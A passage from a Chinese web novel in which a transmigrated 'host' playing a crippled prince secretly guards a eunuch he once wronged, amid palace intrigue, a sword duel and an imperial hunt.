方闻钟回来时,六皇子的大计将灭,他以为他能和‘萧疏’安安稳稳过日子,‘萧疏’会更宠他,谁料,等待他的,是萧疏把他引往藏账本的地方! ‘萧疏’向太子和六皇子都透露了方闻钟的身份和账本所在! 于是两方最强的势力,纷纷追上来! 他们决战于山野密林!‘萧疏’渔翁得利,拿到账本提前跑了! 他顾不上再带一个人!于是方闻钟被他舍弃!留给最恨他的两个人! 太子恨他!是恨他在眼皮子底下算计了他一切!六皇子恨他!也是觉得被戏弄了!明明曾经掰倒太子触手可得!现在却两败俱伤! 太子想杀他!六皇子想折辱他! 于是六皇子想到了他双性人的身份。 方闻钟在林子里凄厉地喊着“二殿下!二殿下!萧疏!” 他自杀了,探花郎一卷草席,给他收尸。 可笑,他未动过把账本给‘萧疏’的念头,是因为太危险了,他在六皇子和皇帝之间犹豫,可他来不及做什么,来不及! 一切就已与他无关。 方闻钟闭上眼,剧情的结局,太子被除名圈禁,六皇子一杯毒酒了事,账本在皇帝手里,大皇子也斩杀尽了攻入都城的外敌! 皇帝心力交瘁,他看着这个讳莫如深突然变得深不可测的二儿子,以为他也要皇位,谁料‘萧疏’要了个闲散王爷的称号,直接离开皇宫了,从此皇位与他无关,他没有在意的东西。 ‘萧疏’一辈子没有负过国家,没有负过父皇各个兄弟,唯独辜负了一个人:方闻钟。 方闻钟爱他,他清楚。 可他却强了他,占有他,眼睁睁地看着他越陷越深,然后榨干他所有的价值,利用他,算计他! 舍弃他。 一壶酒下肚,他是个合格的皇子,如果没有腿伤,未来也可能是一个合格的帝王!性情转变让他成为一个真正的有算计有谋略的枭雄!可是他唯独不是一个会爱人的人。 渣攻数值,84。 系统特意补充道:“因为这次涉及太多人物,所以宿主你只能按照原剧情来,尽量不偏移,不然也有ooc被抹杀的可能,”它有些担心,这样还怎么和主角受HE。 原剧情里最大的问题是宿主最后舍弃主角受,主角受自杀了,那这次必须要救下他。 宿主要怎么做? 系统正思考着,忽然见宿主已经换了一套夜行衣,霎时,只有他漆亮黑沉的眸子露出来,“宿主你要干什么?” 萧疏说:“既然皇子的身份无法偏离剧情,那就以别的身份接近他好了。” 深夜,方闻钟正睡得不安稳,三个同伴小太监都死了,这间只剩他一个人,忽然听到一声极轻的响动!等他睁大眼立起来!就发现屋内地上站着一个黑衣人! 黑衣人出现得莫名其妙,方闻钟都以为自己眼花了! 他揉揉眼睛,对方高大!一身冷气!抱着一把古朴的剑! 他不说话,似乎也不是来杀他的,这点方闻钟一开始就感觉到了,“你……”他颤抖着问。 黑衣人说:“我是暗卫,从今天起,是来保护你的,睡吧,每个夜晚我会准时出现,天亮就走。” 其他方闻钟再问什么,自称暗卫的黑衣人都像哑巴了一样,什么都不说。 “谁派你来保护我啊……” 方闻钟偷偷观察黑衣人,自以为小心翼翼,最后实在忍不住睡着了,睡着前,嘟嘟囔囔这样说。 睡着的他难受地摸着自己的胃。 萧疏上去,替他慢慢揉开。 第57章 方闻钟:“你还能来保护我吗?” 二皇子陷入昏迷,一堆上好的药材和赏赐,源源不断的从上面赏下来,可还是改变不了他持续发热的状态。 太医们束手无策,甚至开始害怕,这样下去,二皇子还能正常清醒过来吗? 就算醒过来,脑子不烧坏,他能受得了自己腿成这个样子吗。 不是太医们医术不精,而是二皇子再像闹东宫这样闹下去,不顾他的腿伤逞强,他往后那条腿,真的会彻底废了的! 到时候谁敢提截肢?没看到现在二皇子都接受不了他一瘸一拐的现状,怎么可能受得住比别人干脆少一条腿。 一个月了,还没让二皇子心里好受些,接受现实,太医们以及下面伺候的下人,看着榻上昏过去还气势惊人彷佛随时随地都能醒来发疯要人命的二殿下,伺候得小心翼翼,就怕发出一点大的声响,让人醒过来,然后自己不得好死。 二皇子真的完全变了一个人!他连东宫都敢砍!连御赐之物都不放在眼里!谁还敢招惹他。 唯有胖乎乎的大太监,伺候得真心实意。 他眼泪汪汪地替殿下擦拭,然后把他缎子般的头发理顺,殿下眉头舒展了一点,他就好受一些,然后开始责骂下面的人不尽心。 萧疏睁开眼,大太监在他榻外候着,萧疏起身,一身黑衣略过睡着的大太监,大太监委屈地趴在那边,萧疏路过他,不小心踩到他的衣服,他还紧闭着眼吧唧了下嘴,似乎在吃什么好东西。 萧疏眼尾一挑,骂道:“平时欠着你的了……老东西。” 然后跳出窗外,几个鬼魅般的跳跃,人就消失在宫里。 方闻钟又准时见到了那个暗卫,他最近几天,由一开始的提心吊胆,到现在更多是好奇,他到底是谁派来的啊?这么厉害的暗卫!还在太子东宫!要保护他,方闻钟想不通。 他想过会不会是贺哥哥(探花郎),可贺哥哥和六殿下再要好,六殿下也不会为了这么一个小人,犯这种忌讳,往太子宫里安插暗卫,不想活了…… 贺哥哥应该也不是会提这种要求的人。 他脑子里一片空白,甚至滑过二皇子萧疏的身影,极快就被他否认过去了,方闻钟一下心提起来!不会是皇帝吧!皇帝发现他了!要怎么处置他?先养着再弄死? “不会,不会,”方闻钟捂着被子白白的脸快速摇头,安慰自己。 他在宫里的身份,没有别人知晓,他也一直很低调,除了碰上二殿下,其他没任何异常…… 暗卫照例什么话都不说,来了就抱着剑飞上房梁,一躺。 闭眼,他好像是来他这里睡觉的,方闻钟啃着手指,倒弄得他睡不着。 这晚,他特意在下面坐着等他,暗卫忽然飘落在他面前,他正垂着头,一点一点,要睡不睡,一见到人!立马站起来! 可是他被他冷冰冰的样子吓到了。 方闻钟上前的手,被那把古朴的剑一挡,他立马缩回来,瞪圆眼睛! 剑收回去,他又要往房梁上飞,紧急中,方闻钟说了句蠢话:“你能不能在我能看得到的地方睡,别藏得那么深,不然我还要找你。” 是真蠢,暗卫要是在明面上,谁都能一眼看到,那还叫什么暗卫。 但这个暗卫真听他的了,就在方闻钟睡下,睁眼就能看到的一座房梁上,他轻飘飘地躺下去。 方闻钟发现,这个暗卫但凡涉及秘密的消息,是一句不回答,方闻钟也就懒得再费口舌了,但他人还挺好的,也挺听他话,所以方闻钟有人陪着,在这偌大的东宫,仇人手底下,终于能浅浅松一口气。 半旬后,听说二皇子终于醒过来了! 太医们一把脉,纷纷心惊,二皇子的身体状态竟然还行!独独腿是好不了了,以后只能有损步态,太医们给他宽心,“殿下,还望您保重身体,切莫因小失大,”因为腿,再引来身体其他损伤,不值当。 萧疏摆摆手,大太监顿时喜笑颜开地给太医们送银子,送走。 “殿下,其实你早就醒过来了吧,我有好几次晚上发现你不在,”大太监胆子大了起来,一边瞅萧疏,一边小声说:“你晚上去哪里了啊?” 萧疏被伺候着穿上外衣,斜眼打量过去,“去东宫监视我的太子弟弟了,怎么,你也要一起?” 顿时唰唰唰跪下一片! 大太监抖着身子,垂着头,不知道殿下是不是在说真的! “起开,”把吓坏了挡他路的人一脚拨开,萧疏走出殿外。 朝堂之上,益州之事还得有人处理!那边灾祸过去,可乱民才是大问题!吵吵嚷嚷最后推出一个人选,一个迂直但清高的御史,官升二品,他是六皇子的人,皇帝这摆明了是要重用六皇子,打压太子。 乱民一事,六皇子肯定在背地里尽心尽力,皇帝这也算抓住痛点。 一个儿子闯的祸,交给另一个儿子去擦屁股。 知道是老六的人去益州,太子又忍不住摔了殿里的一个摆件,于是刚被萧疏砸干净,替换上去的东西,这下又被他自己砸了,这样下去,太子的库房可遭不住。 太子还要等老师走了才敢发脾气,不然老师又是一顿教训,要克俭端方。 他一拍桌子,暗声斥问跪下去的一个五官周正却不起眼的黑衣人,“方知府的儿子还没有找到?” “没有,我们已经派人去他常去的临州追杀了。” 太子眼中闪过一抹厉色,他摸着扳指,吐露道:“一定要找到他,找到后什么都不用问,直接杀了就成。” 黑衣人谨慎道:“他手里真的有账本吗?”方知府据他们所查,最后没有和儿子见上面。 “不管有没有,都杀了,”想到方知府算计的他一把,还拿捏了他那么重要的东西,太子就恨得牙痒痒,“再加派人手!” “然后把整个益州翻遍,我还就不信找不到了!” “这次你们不用避着老六的人手,就说帮忙处理乱民,暗地里找账本,另外山上的私兵,都别动了!那边山高林密雾障,我看老六就是有通天的鼻眼也发现不了。” “是。” “粮还够吗?” “够,上次劫掠的一大批钱财,都还在山上。” “小心点。” “是。” 太子走出殿外,路过不常去的一个花园,看到几个娇滴滴的宫女,在那边玩闹,不禁走过去,“太子殿下!”她们都跪下。 太子看着一个个白嫩的脖颈,忽然发现最后面还有一个同样白生生的小太监,“抬起头来,”他如是说道。 可是宫女们都抬起头来,唯独那个小太监没有,看到宫女们个个目露秋水似害怕又似渴求的眼神,太子不知道怎么就想到了那天他的好二哥!刺激他说的话! “你的外室都是别人的,连儿子也是冒牌货……” 太子脸黑,气得甩了一下袖子,往外面走去。 方闻钟暗暗松了一口气。 在东宫,尽管他不起眼,能接触到的宫女太监也不起眼,但还是能打听到一点小消息,比如,太子又派人去益州了…… 太子只觉得,他的二哥一如既往的讨厌!现在,六皇子又被他视为眼中钉。 老六之前不显山不露水,皇帝一把他推上去他就忍不住锋芒毕露了,是不是他的好兄弟都觉得能和自己这个名正言顺却不得父皇母后看重的太子争争啊,太子暴虐地心想,一块玉佩竟被他生生捏碎了。 方闻钟因为这次在太子面前露脸,太子妃赏赐了他,竟然把他提到近前,至于那几个宫女,方闻钟再也没见过…… 他上面还有大太监管着,太子妃身边的大太监,一双利目扫在方闻钟身上,方闻钟下意识紧绷身体,不敢抬头,随即,那老太监阴恻恻地笑了一句:“以后伺候精细些,宫里不该看的不该问的都要知道规矩。” 方闻钟赶紧卑微点头。 他换了住的地方,然后至少不用再担心吃食问题了,不用再饿肚子,方闻钟有点害怕,他去那边了,那个暗卫还会来吗? 方闻钟和同样一起的太监,没有争抢他们的地方,反而选了个脏兮兮还要自己收拾的一间小榻,这样大家都乐意。 好不容易熬到夜晚,方闻钟又累又困,但不想睡着,他心心念念的暗卫,比往日只迟了半刻钟,就又落在他房间里。 窗户轻声落下,方闻钟惊喜!他真的好厉害!他都没有告诉他换地方了,还是能在东宫这么快找到他! 方闻钟不禁赶紧向他小声解释:“我被弄到太子妃这边了,”他絮絮叨叨说了些近况,暗卫沉默地听着,见人没有回应,方闻钟高兴的心情慢慢回落下去,这不是他的朋友,他甚至连他脸都没见过,也不知道他是谁的人……他只是一个暗卫。 方闻钟背过身去睡着,再不理他。 睡梦中,他后背突然飞过来一把剑,往他后背上一个xue位上砸了一下,方闻钟又平躺着睡得更安稳了。 萧疏收回剑,有些嫌弃地看了看房梁,老三娶的这个太子妃,也不是个好东西…… 二皇子宫中,四皇子在他腿伤后,时隔这么久,才来看他,以前跑得可勤快了,还不是惯会看脸色,看风向。 萧疏人废了,尽管他以前也没想着争那把位子,可现在,确确实实一个瘸子皇子,比不上其他兄弟。 但他背后的世家还没倒!无论外家再不怎么亲近,但萧疏最差也有那帮人撑着腰,所以皇帝不会拿他怎么样。 而且,皇帝还会越发在明面上补偿他,容忍他,只因为皇帝的确欠这个儿子的! 虚伪的父子情,带来的权势却是真的,萧疏腿瘸了,但皇帝摆明了他怎么样都要给他撑腰,连去砍太子都无事,那谁还敢把萧疏当一个废物? 惹他不高兴了,他劈了你又怎样? “二哥!”四皇子高兴地进来,一进来就关心萧疏的话说不停,然后无意间,他突然对上萧疏饮茶间轻慢地抬起来的眉眼,四皇子顿时禁声,哑口无言。 他结巴了,忘了下一句说什么,二哥刚那个眼神,像死人堆里爬出来的,四皇子感觉到了他的不耐和厌烦。 “二哥,”四皇子转头讨好地换另一个话题,他熟悉地给自己斟一盏茶,牛饮干净,“太子皇兄我一贯不喜他的作风,说话做事叽叽歪歪,还是你爽快!你真去他殿里砸了啊?他是不是气坏了,哈哈哈哈,二哥,你的腿,太子……” 他在试探他和太子的关系,以及父皇的态度。 虽然有些事聪明人都能看清楚,但四皇子就想弄个明白。 但他在这里注定弄不明白。 待了两炷香,四皇子就觉得有些难受,平日里二哥和他不对付,但言语间吵几句提起剑切磋一番,也就过去了,现在二哥让他有种时时刻刻胆颤心惊跟他说话如履薄冰的感觉。 四皇子还有些酸,以前他比不过二哥,不被父皇喜欢就算了,怎么现在,二哥都成这个样子了,他还这么嚣张,他到底凭什么。 四皇子想着想着,表情就有些狰狞,他手捏着膝盖上柔软的布料,突然! 铮的一声!一把剑插在他面前! 萧疏已经站起身,他提着另一把剑,走起路来的确有点瘸,但男人丝毫不觉得难看羞耻,他张扬地对四皇子说:“有种就出来,打一架,省得你在那动你那蠢脑子,想着怎么趋利避害。” 四皇子被萧疏一通羞辱,脸色发红!萧疏还提着剑激他! 四皇子怎么忍得住,他直接提剑上了! 铮铮!剑撞在一起的声音,四皇子下手狠辣,反正这是二哥提出来的切磋,那他不小心伤了二哥,也不会有人说什么吧,他自以为隐藏的好,但那点恶劣的心思,全暴露在脸上,本来只是打算打赢他就算的萧疏,忽然嘴角勾出一抹狠笑。 很好。 刹那间,局势翻转,四皇子只觉得二哥的招式淩乱飞速!他压根看不清招架不住,可等他看清才发现,二哥纯粹是戏弄他,他耍刚那一套花招,就是为了割破他胸前的全部衣服! 四皇子气得手不稳,胸前坦荡荡露出来,看到二哥竟笑了,他愤怒地冲上去想直接攻击他伤腿! 铮! 剑被挡住,接下来四皇子怎么飞出去的都不知道,他只感觉胸口被一脚踹碎了般,躺在地上竟然噗朝旁边吐出一大口血。 “咳咳,二哥!”他死死看过去。 萧疏手里的剑,飞过来!被他直直地朝他当胸扔过来,竟是要取他命! 四皇子已经没精力挡住了,目眦欲裂,声调都变了,“来人!”这两个字喊出来,随着萧疏已经快速站在他身前,他俯身看着他,那把剑被他抓在手里,剑尖离四皇子的脖子只有分毫之差,一切像个笑话。 剑扔下去,萧疏手里的剑顿时四分五裂,竟然从中间全断了,四皇子刚使用的那把剑,也早被萧疏斩断了,萧疏讥讽他,“一把断剑,看把你吓的,老四,识趣点以后就离我远些,最近我看什么都烦,尤其是看我的好兄弟们,知道吗?” 萧疏离开的背影,还在朝四皇子啪啪打脸!他又呕出了好几口血,才被自己人扶着离开,侍卫们很想问:你招惹二皇子干什么,不是一向打不过他?现在好像差距更悬殊。 二皇子也的确有点害怕。 四皇子紧紧捂着胸口,前面衣服乱七八糟,他从二哥宫里出来,一双红眼怒目而斥,疯了!疯了!二哥行事怎么这么不管不顾,他对兄弟们这么下狠手,父皇怎么还不处死他! 宫内胖太监拧着眉替萧疏包扎他的腿,换上伤药,苦口婆心道:“殿下,你何必这么较真,就为了四殿下不来这里烦你,你就把人直接打出去了,还弄伤自己,何必呢。” 沾着血的布条一圈圈掉落在地上,萧疏手筋绷起,额头也渗出冷汗,他转头时,才能看到他面色也有些发白,血管在他太阳xue处越发明显,甚至延伸到耳后,到修长白皙的脖颈。 萧疏说:“你不懂,”他眼神又沉又稳,“只有这样,只有这样我才是他们继续忌惮的二殿下!” 同一时刻,方闻钟也在遭遇进退两难,那个太子妃身边的老太监,最近对他总是格外关照,关照得让人毛骨悚然,他的眼神,他皱巴巴的手皮包着骨头,拍在方闻钟手上时,方闻钟像被毒蛇盯上了一样难受。 直到老太监说要收他做干儿子,把他再往上提一提,以他徒儿的身份,慢慢成为太子妃身边的得力红人,以后再给他养老…… 方闻钟以自己愚笨资历太浅,拒绝了。 可老太监的特殊注意,也容不得他拒绝。 他总是被安排在老太监眼皮子底下打扫做活,老太监会故意当着其他太监的面,责骂他,给他难堪,除非他主动低头,老太监又会喜笑颜开。 方闻钟本以为,这就是他拿捏人的手段,谁料老太监还别有所图。 他就喜欢长得好看的玩意儿,还比较奇怪,不喜欢宫女,就喜欢那一个个唇红齿白,眼睛像兔子一样的小太监,那一个个东宫里符合他口味的小太监,都被他收入囊中,成了他的干儿子。 听话的,识趣的,继续在他身边伺候他。 不听话的,早沉了井,或寻了各种由头弄死。 方闻钟也只有这两个下场。 察觉到老太监对他动手动脚,方闻钟又懵又气,可他只能憋着,不能做什么。 就在方闻钟计画怎么离开老太监手下时,某天天擦黑,他正在小房内提着水桶洗澡,老太监就闯进来了! 方闻钟一刹那,光着身子,过去用毛巾狠狠捂住老太监的嘴,老太监因为不能呼吸,眼翻白快被他捂死了! 那双蛇皮一样的手,死死扣着方闻钟白嫩的手臂,方闻钟恐惧,老太监比他更恐惧!方闻钟不敢杀人,于是最后只能松开。 老太监呵呵的像生命垂危的人直喘气,方闻钟也憋在一旁,一口气憋得心里疼,脸通红。 他用布巾遮着腿,一手死死抓住后面的木桶,一时竟无人说话。 许久,老太监竟咯咯吱呀难听地笑了起来,“瞧瞧,我发现了什么?”尽管刚才方闻钟动作够快,可在他迈步间,盯人下三路的变态老太监,还是发现了他身体的异样。 方闻钟只恨手边没有一把刀,不然他想直接杀了老太监灭口,可杀了人之后呢?方闻钟迷茫,他在东宫还能活下去吗? 方闻钟脆弱得像一张古籍上撕下来的纸,一吹就散,他的命脉被老太监抓住,往后岂不是要任人欺淩? 老太监走过去摸上他的脸,替他蹭掉脸上的一抹灰,“可别把自个儿弄脏了,弄脏了咱家就不喜欢了,”老太监阴沉沉地围着方闻钟身体转。 方闻钟的琉璃眸子,寸寸从里面碎裂,他无助又想反抗,可反抗的结果他也承担不起! 杀了人,他活不了,不杀,要么被人一直掣肘,要么这个秘密还会被更多人知道!被太子知道,被太子妃知道……他更活不下去! 外面突然传来什么响动,老太监一下变了眼神,肃穆地朝外看去,听闻是太子妃那边的动静,不敢怠慢的老太监迅速跑去听候了,临走前,他用狸猫捉住老鼠又放了老鼠一样的眼神看他。 屋内仅一人,方闻钟咚地跪到地上,一滴滴眼泪砸下去,他使劲地狠狠地捶着自己的腿! 其实他想打想虐的是另一个地方! 方闻钟只恨,为什么自己还长了那样一个东西!男人不是男人,女人不是女人! 因为这幅身体,他连孤注一掷来这里报仇都做不到,彷佛一个浑身是窟窿的兔子!把自己主动放入狼窝! 方闻钟哭得压抑又无声,老太监走了,可他留下来的阴影还在。 这晚方闻钟睡觉,一直背过身去面向墙壁,他占着一小块地方,蜷缩着如同一只瘦弱的小猫,暗卫来了,方闻钟也当不知道。 蒙着面的男人,故意发出了些声响,榻上的人还是没回应。 直到深夜,黑衣人从房梁上落下来,看着他在睡梦中哭泣,眼泪弄湿了冰冰凉的脸庞。 然后又沾湿了男人的手指,萧疏收回手。 第二天,二皇子朝皇帝上议,提前去行宫围猎、避暑的日子。 二皇子散漫地坐在下面的椅子上,在皇帝面前毫无规矩可言,甚至在皇帝还未动手尝过时,已经自己先拿了一块送进来的糕点,一点点,放嘴里。 “父皇,儿臣近日来很烦躁,想早点去行宫避暑,那边不是有个最大的汤池吗?要不儿臣先去,您和其他人后面跟上?” 皇帝身边伺候的人,战战兢兢,不敢相信听到了什么! 皇帝扔过去一个镇纸,擦过萧疏的额头,“胡闹!像什么样子!” 父子俩一时僵住,在萧疏的淡漠注视下,皇帝渐渐松了口,“行了,到时候都一起,朕会提前几天的。” 萧疏起身,得了回答直接走,走时,还不忘把那镇纸又踢远了些,气得皇帝也在皇位上破口大骂! “孽障!孽障!”不怪其他儿子们恨不得剐其肉喝其血,就萧疏这种脾气,皇帝有时候都恨不得直接弄死他了事! “哼!”皇帝沉沉叹了一口气。 太子妃那里失了火,最近老太监一直被太子妃要求晚上在近处陪着,所以老太监没时间来捉弄方闻钟,白天也不可能太嚣张干那事! 所以方闻钟在害怕恐惧中,又安全地过了几日。 直到将去行宫,太子妃也在行程人员中,太子也一起去,六皇子四皇子被留下来监国,老太监特意点了方闻钟一起前去伺候,他的手在方闻钟手臂上拍了拍,“那边有好多隐秘的池子,多泡泡对身体好,到时候干爹陪你一起去……” 方闻钟在众目睽睽下,忍着恶心和惊惧,没有甩开他的手! 夜晚,暗卫又来了。 方闻钟许久没理他,这次突然问:“我要去行宫了,那里晚上你还能来保护我吗?” 他忍不住揪住他的衣袖。 眼泪汪汪。 第58章 萧疏抱起方闻钟。 “嗯,”暗卫回答。 方闻钟骤然露出一个放松的笑,看愣了对面的人,方闻钟在心里算计,白天行宫内那么多人,老太监不太可能对他做什么,寻不着机会,但晚上……幸好他有人保护。 方闻钟头一次,那么感谢暗地里派人来保护他的那个神秘人。 不知道究竟是哪方势力,方闻钟就当是爹娘在天上可怜他,显灵了吧。 方闻钟重新面壁,安心地睡下。 萧疏脚步轻点,已经从房梁上下来,靠近他床榻,他弯腰,方闻钟果然怀里抱着一个小东西,他掰开他手指,发现他在抱着一把生了锈的小刀在睡觉。 男人手指轻佻,小刀就脱离他手,掉在地上。 也不怕睡着伤了自己。 萧疏以为他睡着了,却突然听闻方闻钟闭着眼睛说:“不让我防身,那要是遇到图谋不轨的人,你可以帮我杀了吗?” 暗卫可以不被人发现,轻轻松松杀了老太监吗? 方闻钟为自己第一次这么想让一个人死,这么平静自然的心态,而感觉到有些颤抖。 身后的暗卫许久没吭声。 也是,他能来保护他都不错了,要杀掉一个太子妃身边的大太监,不是容易的事,惹祸上身。 方闻钟手里,被重新塞进一把精美锋利的刀,刀身也小巧,感觉到手里的沉甸甸和冰凉,方闻钟不装睡了惊异地睁开眼,下意识抽出来一点,刀鞘下的寒光一下露出来,闪得他眼睛一亮! 这才是杀人的刀! 方闻钟不知道暗卫是不是这个意思,他倏地转头,暗卫已经背对着他,准备重新上梁,方闻钟坐起身,“我还没问过,你叫什么名字?” “我该怎么称呼你?” 萧疏想了好久,没编出来,“随便吧。” “随便?”方闻钟歪头,明明知道他说的意思,可还是笑道:“你叫随便?” 暗卫不反驳,方闻钟没察觉他生气,于是真叫道:“随便,以后我就叫你随便了,你不帮我杀人,你可以帮我放哨吗?咱们不让别人发现?” 他天真地把两人归类为同夥,萧疏一个手劲下的暗风过去,方闻钟突然被点住了xue位,说不了话。 他太多话了,吵得萧疏不能思考,也是为刚才装睡骗他惩罚,方闻钟愣愣的,然后眼睛滴溜溜绕着暗卫转,最后无奈又小气地重新躺下。 萧疏没想到,他一个笑容,就能让自己察觉不到他装睡的气息,警惕心突然大打折扣…… 皇帝的御驾出发,后面跟着二皇子、五皇子、太子,以及一众女眷和禁军侍卫,再加上伺候的婢女太监,队伍浩浩荡荡。 还有几位朝中重臣,只不过他们的家眷在最后头,臣子皇子们都陪在皇帝身侧,唯独一个人早骑着马不见了踪影。 正是厌烦人多的二皇子,萧疏当着其他皇子和大臣的面,向皇帝告知一声,就先策马向前奔去,场面当时尴尬起来,皇帝真生气了!阴沉的眸子藏在下面,背着手忽然瞥了眼这次跟来的丞相,萧疏的外祖父。 丞相相当稳得住,好像萧疏是和他完全无关的人,来这一趟,就是去跟皇帝一起调养身体,甚至在皇帝看过来的时候,还坦然地看过去。 皇帝只好收眼,这个老狐狸。 萧疏的马向前跑了一大段,他不知道又发什么疯,转头向后跑去,和队伍相反的方向,但他的马极快,一会儿功夫,就从御驾那儿跑到女眷车马中。 听到外面的马鸣声,以及小声吵闹,女眷们有人悄悄打开帘子,向外面看去,看到马上红衣墨发的二皇子!纷纷克制着眼睛放光。 萧疏驾着马慢走起来,恰巧旁边就是太子妃的坐撵,太子妃平日里纵着下人,又和太子一个立场,于是她身边的小宫女,也胆子大了起来,不要命地说:“二皇子才摔断腿,竟然还敢骑马?” 她自以为很小声,也以为只是和同伴说的悄悄话,没犯大错,谁料,就被耳朵格外好使的萧疏听到了。 一声马鞭! 抽向那个多嘴的宫女! 顿时,太子妃以及太子妃身边的女人,都尖叫起来! 萧疏两鞭子就抽的那个宫女皮开肉绽,鞭子收回去,跟他那一身红衣极配,极配。 萧疏笑起来,场面更让人害怕,“本殿下就是要试试,看还会不会在这儿摔断另一条腿。” 他明明言外有言,说着伤害自己的话,可吓住的全是对面的人! 最前面皇帝已经派禁军过来看什么情况了,萧疏马蹄高昂,越过两个人就继续往前跑! 老太监恰好跪在太子妃坐撵旁边,萧疏的马蹄正前方,这一下,没把老太监直接吓死!他慌慌地捂住胸口,大气喘不上来。 老太监后面的第三排,才跪着安安分分的方闻钟,二皇子的马蹄,恰好落在他正前方!马腹下是老太监和另一个太监,方闻钟还没来得及抬头,二皇子已经策马跑开了,方闻钟回头,心突然砰砰跳起,他望向那个和三年前一样马术高超的男人。 他断了腿,可他一样风光。 方闻钟耳边一时“二皇子…二皇子…”,全是‘二皇子’的声音,然后他们都起身,继续跟着向前走…… 到了行宫,所有人被分别安排开来,臣子们在皇帝侧边,皇子们在另一侧,所有的女眷纷纷被安排到更后边的院子里去,行宫一时上下被围得水泄不通,泡过汤,过些日子就要围猎,可不敢马虎大意。 丞相带着一个老仆,回来时,老仆正笑着说:“老爷,这些草药是二皇子托人送过来的,这儿气候湿热,您泡过汤后多用药草熏熏,有助于缓解腿寒,二皇子这是惦记着您呢。” 丞相严峻的脸上不见动容,沉稳的老手摸了摸草药,“二皇子过来了?” “没有,是一位公公送过来的。” “那你就知道是二皇子了?” “哎哟老爷,这里除了二皇子谁还惦记您腿寒啊!” “哼,”丞相冷嗤了一声,“先收下去。” 老仆不敢违逆,边收边劝道:“您也别怪二皇子不亲近咱们了,老爷,二皇子现在也不容易,小姐又去世那么早……” 丞相握着椅子的手紧了几分,脸更黑,“早先时间作甚去了,一朝落败就知道讨好外祖父了?”他骂得难听,“之前不是对我鼻子不是鼻子,眼睛不是眼睛,我见了他还得下跪行礼呢!” 丞相越说越气,拍起桌子来,是他们不心疼他吗?唯一的小女儿去世留下来的孩子,哪怕他贵为皇子,他们一家谁不是想对他好! 可二皇子不需要! 作为当朝第一世家,顾家也要脸面!太巴着一个皇子了,还让皇帝说他们不安好心。 丞相沉默了好久,突然叹了一口气,“他要是聪明点儿,就知道见好就收。” 同一时间,大太监也和萧疏在说话,“草药已经让下面的人送过去了。” 萧疏:“嗯。” 大太监:“殿下,为何不让老奴亲自去送,下面人那边不熟悉。” 萧疏摆摆手,在后面替他擦拭头发的大太监住手,让开,哗啦一声,萧疏从水面出来,水珠流过他宽广结实的前胸后背,然后一点点往下滑,滑过腹部,大腿,在足部印下一串湿漉漉的脚印,萧疏走在玉石板上套上里衣。 “过犹不及,贺丞相知道我什么意思就好。” 与那边猜测的恰恰相反,萧疏不是向他们低头,以后寻求他们的庇佑,他只是感谢顾家的存在。 现在他和顾家,最好一直保持着这种若即若离微妙的关系,继续不亲近,顾家继续当他们只忠于皇帝的臣子,哪个皇子都不站,反正萧疏也腿瘸了无缘那位子,顾家只要不是犯了谋反的错,就能一直世代簪缨! 而萧疏,因为有顾家的牵制,皇帝就不能怎么样他,太打压贬低了,那不是明晃晃地打顾家的脸吗,顾家虽与二皇子表面不亲近,但他们是天然的一派,二皇子颓败,就会被认为皇帝想惩处顾家! 世家也有世家的骄傲,那时,他们自然会亮出利爪,让皇帝看到他们的威胁。 因此,萧疏现在才能依旧这么嚣张,在皇帝忍耐极限上左右晃荡,因为他还是顾丞相唯一的外孙! “以后不用再送了,”萧疏吩咐道,再送就会引来皇帝的猜忌和忌惮。 这一刻,祖孙俩都聪明地想到了一块。 围猎开始,方闻钟一直紧着心神,好处是白天太子妃会和其他女眷们在一起,老太监比较忙,顾不上他,夜晚,暗卫真的来了! 方闻钟是和别的小太监睡一间,他一直偷偷注意,就害怕暗卫来了被同伴发现,方闻钟都想先把同伴弄晕过去,可他等到深夜就当以为他不会来了时,一颗石子裹挟着一张小纸条,砸在他怀里。 方闻钟受惊般地赶紧抽起来看,“我在,睡。” 三个简单淩厉的字,方闻钟立马抬起头,左顾右盼,这下他找不到他了,他肯定因为还有别人,藏起来了,但知道他来了,方闻钟就能闭眼,睡着。 晚上也相安无事,老太监没找麻烦。 一匹匹骏马在林间奔跑,穿梭,随着锋利的箭矢破空而去,被射中的猎物惨叫一声,然后就会被一身血呼啦得找回来,当做自己的猎物,皇帝兴致勃勃地看着太子们以及几个年轻武将,在下面比赛,喝着美酒,赏着美人。 又看看旁边的二儿子,以为他也会逞强和他们一起去博个彩头,谁料萧疏潇洒自然地坐在席间,也喝酒吃菜,彷佛下面的人也是给他表演的。 太子们带猎物回来,个个身上都不太干净,一看嘴角挂着讥笑的萧疏,太子心里不舒服了。 上级不舒服,会看眼色的下属就得为他排忧解难,一个武将家的儿子穿着一身劲装,手持弓箭向前一指,名为安慰实则挑衅:“二殿下,今年你可没有猎物,要不我们分你几个,就这几只野鸡野兔吧,不然待会儿你可没吃的了,哈哈哈哈。” 察觉到皇帝的目光也看过来,萧疏手拄着下巴,“是吗。” “疏儿,今天父皇可不会为你做主,”皇帝慢悠悠地添火。 “那儿臣只能自己来了,”说罢,萧疏竟神情一压,手直接从背后拿过属于皇帝的弓箭!一把金色的箭矢直直朝那年轻武将射去!吓得他动弹不得!但箭矢掠过他的脖子,射向他后面一只花豹上! 花豹是他们齐心一起猎的,其中还有太子的一份,想留着它在皇帝面前讨个好,所以花豹没被弄死,只是受了点伤,捆起来。 萧疏这一箭!穿过花豹的一只眼睛!金色的箭尾的在空气中微微颤动! 一声闷响,花豹彻底成为死豹。 “萧疏!”比皇帝更先反应过来气愤的是太子,他恼怒地看向上面的人。 皇帝一巴掌拍得酒杯飞起来,砸碎在地上,下面已经窸窸窣窣跪了一批人,皇帝紧盯着萧疏手里的那把金色弓箭,“你以为这是谁都能用的吗?” 萧疏刚侧头,皇帝一掌手背扇在萧疏脸上!萧疏直接偏过头去。 皇帝发怒了,但这发怒的手段,当场打了二皇子一耳光,又实在是太像皇家自己人处理家事的样子,所以下面包括顾丞相在内的人,也不好说什么。 顾丞相浅浅皱了下眉。 萧疏笑了一下,回头看向皇帝,手指擦掉自己嘴边的血迹,“父皇,不是你以前常说,你未来的东西都是我的吗?包括你座下的这个位置,现在就反悔了吗?父皇,父皇……” 萧疏越叫越低,似乎要落下泪来,全场为之一震,连皇帝自己都忍不住往后退了几步。 太子刚因皇帝打了萧疏而高兴,下一瞬又被萧疏的话弄得心火皆起! 萧疏:“儿臣身子不适,先告退了,”他朝皇帝禀报一声,直接撤退,一转头,在他们看不到的角度,萧疏表情恢复冰凉,眼神沉沉的,哪还有刚才的脆弱。 “殿下,殿下!”大太监担心坏了,他也觉得殿下今天做得有点过,但这是能说的吗? 